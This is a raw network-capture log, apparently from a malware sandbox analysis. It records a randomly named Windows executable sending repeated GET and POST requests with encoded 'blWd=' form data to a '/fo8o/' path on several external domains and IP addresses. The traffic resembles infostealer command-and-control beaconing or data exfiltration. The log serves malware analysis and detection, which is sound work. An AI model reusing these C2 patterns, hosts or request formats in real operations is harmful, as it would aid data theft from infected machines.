q5pdNiOCraYcno2YW+9rtBOGsQAqK39E/d8J3cb0Hn5SgLK4WxrOwZzu+uGTHJdDkNRUxsRIX8AVEa5YbRof3w1KR7N6TOVIylTxWyC [TRUNCATED]
Aug 2, 2024 13:51:28.047764063 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Fri, 02 Aug 2024 11:51:27 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49733	116.50.37.244	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:29.675618887 CEST	532	OUT	GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=LFKqyrcu7g1NCa8cV1r2tNkohroduT6prIMLtaWgKJ9bBKQr4dsnyMPFpMQjJLGR7ieyxupOSpv1HbfUaMaFxgszkgIsi8wfa6/CPqkeX1kME9DjI2TvouO65OvKk6Nl8OEvQ/8= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.goldenjade-travel.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:51:30.591144085 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Fri, 02 Aug 2024 11:51:30 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49734	46.30.211.38	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:35.641633034 CEST	801	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.antonio-vivaldi.mobi Origin: http://www.antonio-vivaldi.mobi Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.antonio-vivaldi.mobi/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 43 52 4e 5a 6a 69 7a 54 4b 44 54 64 6b 52 35 38 65 32 62 58 69 70 4f 6a 51 67 39 6e 58 49 5a 50 54 73 6a 6b 6e 6c 36 6b 56 4e 59 54 70 6e 41 61 59 37 75 74 36 56 71 57 44 58 49 4f 36 55 6f 74 53 70 6f 38 4f 56 2f 4e 4e 5a 53 39 32 39 6e 4c 43 63 50 43 44 48 4a 65 37 35 51 32 66 46 4f 70 35 50 7a 68 78 53 4f 58 48 69 4e 78 6d 7a 61 6d 6d 45 2f 4a 74 73 59 39 32 6c 49 62 39 6e 41 55 2b 67 6e 51 41 4b 75 6e 65 53 4e 74 6e 30 74 57 37 64 63 49 2f 48 79 63 76 4b 62 52 33 31 30 4f 6e 68 4a 69 6a 43 47 38 4c 6f 4d 33 48 36 62 50 47 72 41 6e 64 56 48 69 4e 7a 7a 49 72 37 43 74 30 2b 76 58 4f 4a 73 55 63 48 34 70 Data Ascii: blWd=CRNZjizTKDTdkR58e2bXipOjQg9nXIZPTsjknl6kVNYTpnAaY7ut6VqWDXIO6UotSpo8OV/NNZS929nLCcPCDHJe75Q2fFOp5PzhxSOXHiNxmzammE/JtsY92lIb9nAU+gnQAKuneSNtn0tW7dcI/HycvKbR310OnhJijCG8LoM3H6bPGrAndVHiNzzIr7Ct0+vXOJsUcH4p
Aug 2, 2024 13:51:36.306050062 CEST	738	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri, 02 Aug 2024 11:51:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 564 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49735	46.30.211.38	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:38.177252054 CEST	825	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.antonio-vivaldi.mobi Origin: http://www.antonio-vivaldi.mobi Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.antonio-vivaldi.mobi/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 43 52 4e 5a 6a 69 7a 54 4b 44 54 64 32 69 68 38 63 56 7a 58 72 70 4f 73 4d 77 39 6e 63 6f 5a 4c 54 73 2f 6b 6e 6e 58 37 53 2f 4d 54 6f 46 49 61 62 35 47 74 2f 56 71 57 4c 33 49 50 33 30 6f 6b 53 70 6c 44 4f 55 44 4e 4e 5a 47 39 32 35 76 4c 43 76 33 4e 42 58 4a 51 77 5a 51 34 62 46 4f 70 35 50 7a 68 78 53 61 78 48 69 6c 78 6d 67 43 6d 6e 6c 2f 4b 7a 38 59 2b 78 6c 49 62 77 48 41 59 2b 67 6d 7a 41 4c 7a 38 65 55 52 74 6e 77 70 57 38 4d 63 4a 71 33 7a 58 78 36 61 42 36 46 46 79 35 43 45 64 74 68 2b 4f 61 4b 67 4f 43 4d 61 56 61 59 41 45 50 46 6e 67 4e 78 72 36 72 62 43 48 32 2b 58 58 63 65 67 7a 54 7a 64 4b 37 59 57 78 57 2b 42 45 70 4f 51 6a 49 54 4a 69 68 69 56 67 4b 67 3d 3d Data Ascii: blWd=CRNZjizTKDTd2ih8cVzXrpOsMw9ncoZLTs/knnX7S/MToFIab5Gt/VqWL3IP30okSplDOUDNNZG925vLCv3NBXJQwZQ4bFOp5PzhxSaxHilxmgCmnl/Kz8Y+xlIbwHAY+gmzALz8eURtnwpW8McJq3zXx6aB6FFy5CEdth+OaKgOCMaVaYAEPFngNxr6rbCH2+XXcegzTzdK7YWxW+BEpOQjITJihiVgKg==
Aug 2, 2024 13:51:38.848763943 CEST	738	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri, 02 Aug 2024 11:51:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 564 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49736	46.30.211.38	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:40.713829994 CEST	1838	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.antonio-vivaldi.mobi Origin: http://www.antonio-vivaldi.mobi Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.antonio-vivaldi.mobi/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 43 52 4e 5a 6a 69 7a 54 4b 44 54 64 32 69 68 38 63 56 7a 58 72 70 4f 73 4d 77 39 6e 63 6f 5a 4c 54 73 2f 6b 6e 6e 58 37 53 2f 30 54 70 77 45 61 62 65 79 74 34 56 71 57 42 58 49 43 33 30 70 32 53 70 73 4b 4f 55 50 64 4e 63 43 39 30 65 76 4c 45 65 33 4e 62 48 4a 51 2f 35 51 31 66 46 4f 77 35 4c 66 6c 78 53 4b 78 48 69 6c 78 6d 6d 47 6d 67 30 2f 4b 30 4d 59 39 32 6c 49 66 39 6e 42 78 2b 67 2f 49 41 4c 6e 73 65 43 68 74 6d 55 4e 57 35 36 49 4a 32 6e 7a 56 77 36 62 45 36 46 4a 58 35 43 5a 6d 74 67 4b 6f 61 4a 38 4f 43 72 6e 36 4a 70 34 44 65 32 6d 59 54 54 54 4d 73 4f 47 74 75 75 4c 74 4b 4e 5a 44 53 77 56 2b 30 2f 65 72 54 39 4a 47 6a 4d 38 63 47 33 55 38 73 54 51 48 61 33 67 6d 74 35 30 6f 35 74 63 35 55 70 51 39 55 74 35 61 33 37 58 63 58 4b 44 6f 44 31 6a 68 33 36 64 51 49 4e 76 67 4a 31 68 62 43 72 54 4f 6d 38 30 32 49 52 78 34 6d 51 30 46 68 61 34 42 68 38 69 67 4d 61 6d 31 58 72 33 54 66 46 35 4b 67 46 71 61 2b 41 6a 46 51 48 56 6b 75 32 6d 38 74 32 6c 4b 39 34 50 31 2b 6a 2f 78 51 [TRUNCATED] Data Ascii: blWd=CRNZjizTKDTd2ih8cVzXrpOsMw9ncoZLTs/knnX7S/0TpwEabeyt4VqWBXIC30p2SpsKOUPdNcC90evLEe3NbHJQ/5Q1fFOw5LflxSKxHilxmmGmg0/K0MY92lIf9nBx+g/IALnseChtmUNW56IJ2nzVw6bE6FJX5CZmtgKoaJ8OCrn6Jp4De2mYTTTMsOGtuuLtKNZDSwV+0/erT9JGjM8cG3U8sTQHa3gmt50o5tc5UpQ9Ut5a37XcXKDoD1jh36dQINvgJ1hbCrTOm802IRx4mQ0Fha4Bh8igMam1Xr3TfF5KgFqa+AjFQHVku2m8t2lK94P1+j/xQlMrPq1hzYh4ZjAnHGTK3OsPUImJYWb8zDaVr1pJqa4E3kYYjz9D6GAp/iVFVYRbIdXa4POnrxmotLG9WAY12xrl/rsuGakTOWrRJ3b9OJ3L5p/4eWWrWjVO/e8y/aJcj3rjV/DwgtUdHFjlzvZbjPWlJcuUeyUd2xCmd8BswQm6Y+a/hW97aJAxUA3ZsGjisRx7sknK0smfA9oXFl420yhQSs0s26MM8dPFj68tgR+nEVXjuhXgC8/2P03rDl49YhH8AIihppckUO4NqcFDf9EQZ8kR5eML53Vq0U9GPMq9QkBsxebKcEV1d5l+LP5XjvZBpZdV0ie7YiFp1pylrJEl2HCq9wdwWxgtyClhNLEnrOO4L22nCouvnvjmzr0vS+iDCNNZHUxuWfMjUbQT4wnZZnvmnNMSaxPIf/hJNBqiSgDN0wpcLD+OSegULAGfd4RhBgD0TBJDE9zdXKTwhHCa9NSLyMr3aWyi5p73OyGyFx1Jt4IGDwnbTKezGTQfrcb0g4z+PM7Pigpg51koxbqI2hCO3odJsgLGlQkKWBABBDVWt+5lokQGcgy2ku+pkwiqjSMLcHg0eKrnwpYlh2hcnl7txbYDyycdr30VeMoZzNxUVgPLhoCjxr2AUd4Dj9nTFs7hsZQ1GzVvb3Dzyk0gPhCqhK8AqBJ [TRUNCATED]
Aug 2, 2024 13:51:41.360732079 CEST	738	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri, 02 Aug 2024 11:51:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 564 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49738	46.30.211.38	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:43.255455971 CEST	531	OUT	GET /fo8o/?blWd=PTl5gU/3CD/Xhg5Nd1HWi+eKOiJURJRFTZuVmm6gfrwSjnBrSraU/0GdHAsD0mFxNrARF0zWd8CLwvHKbs6Za05B0b8lb0SJyq2CvxKSeitE8AGVnlTlldZE82pgolkPyTnRDO8=&Ixe=Apq4tPPXNdTp2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.antonio-vivaldi.mobi Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:51:43.897175074 CEST	738	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri, 02 Aug 2024 11:51:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 564 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49739	85.159.66.93	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:49.056546926 CEST	783	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.magmadokum.com Origin: http://www.magmadokum.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.magmadokum.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 6e 4a 66 48 4a 5a 79 53 51 6d 6f 6b 62 4a 72 44 58 6d 7a 45 6b 6b 4b 2b 65 41 4e 6a 6e 42 2f 58 63 78 41 41 64 50 47 4a 53 64 6c 77 41 6f 2b 4c 59 71 50 65 6a 7a 49 30 2b 38 47 36 31 68 36 56 71 51 5a 2f 6e 41 31 35 43 52 7a 30 6f 38 31 47 64 7a 57 32 62 6b 49 42 59 36 52 64 37 4f 63 4a 47 69 32 32 38 68 6b 69 56 41 77 4b 42 66 6f 6d 64 51 57 2f 43 53 33 4a 47 2f 59 53 5a 70 63 58 66 74 30 42 75 77 6c 44 43 67 4f 4f 50 7a 4a 35 30 6b 54 61 43 73 48 69 48 6b 71 2f 30 30 2b 52 30 33 44 49 62 62 52 59 61 52 6d 70 56 78 77 2b 57 74 51 74 38 70 44 4d 45 33 66 48 4b 44 57 78 30 45 4d 51 34 48 77 47 67 79 62 75 Data Ascii: blWd=nJfHJZySQmokbJrDXmzEkkK+eANjnB/XcxAAdPGJSdlwAo+LYqPejzI0+8G61h6VqQZ/nA15CRz0o81GdzW2bkIBY6Rd7OcJGi228hkiVAwKBfomdQW/CS3JG/YSZpcXft0BuwlDCgOOPzJ50kTaCsHiHkq/00+R03DIbbRYaRmpVxw+WtQt8pDME3fHKDWx0EMQ4HwGgybu
Aug 2, 2024 13:51:49.833924055 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 02 Aug 2024 11:51:49 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-08-02T11:51:54.7200281Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49740	85.159.66.93	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:51.599205017 CEST	807	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.magmadokum.com Origin: http://www.magmadokum.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.magmadokum.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 6e 4a 66 48 4a 5a 79 53 51 6d 6f 6b 61 71 44 44 56 42 76 45 6a 45 4b 2f 62 41 4e 6a 74 68 2f 54 63 78 38 41 64 4d 4c 55 54 6f 39 77 41 4a 69 4c 57 4c 50 65 67 7a 49 30 6d 73 47 2f 72 52 36 4f 71 51 55 63 6e 42 4a 35 43 52 50 30 6f 2b 74 47 65 44 71 31 61 30 49 44 56 61 52 44 6d 65 63 4a 47 69 32 32 38 68 67 49 56 41 6f 4b 42 4c 55 6d 53 56 71 77 4d 79 33 49 57 76 59 53 64 70 63 54 66 74 30 7a 75 78 49 6d 43 6c 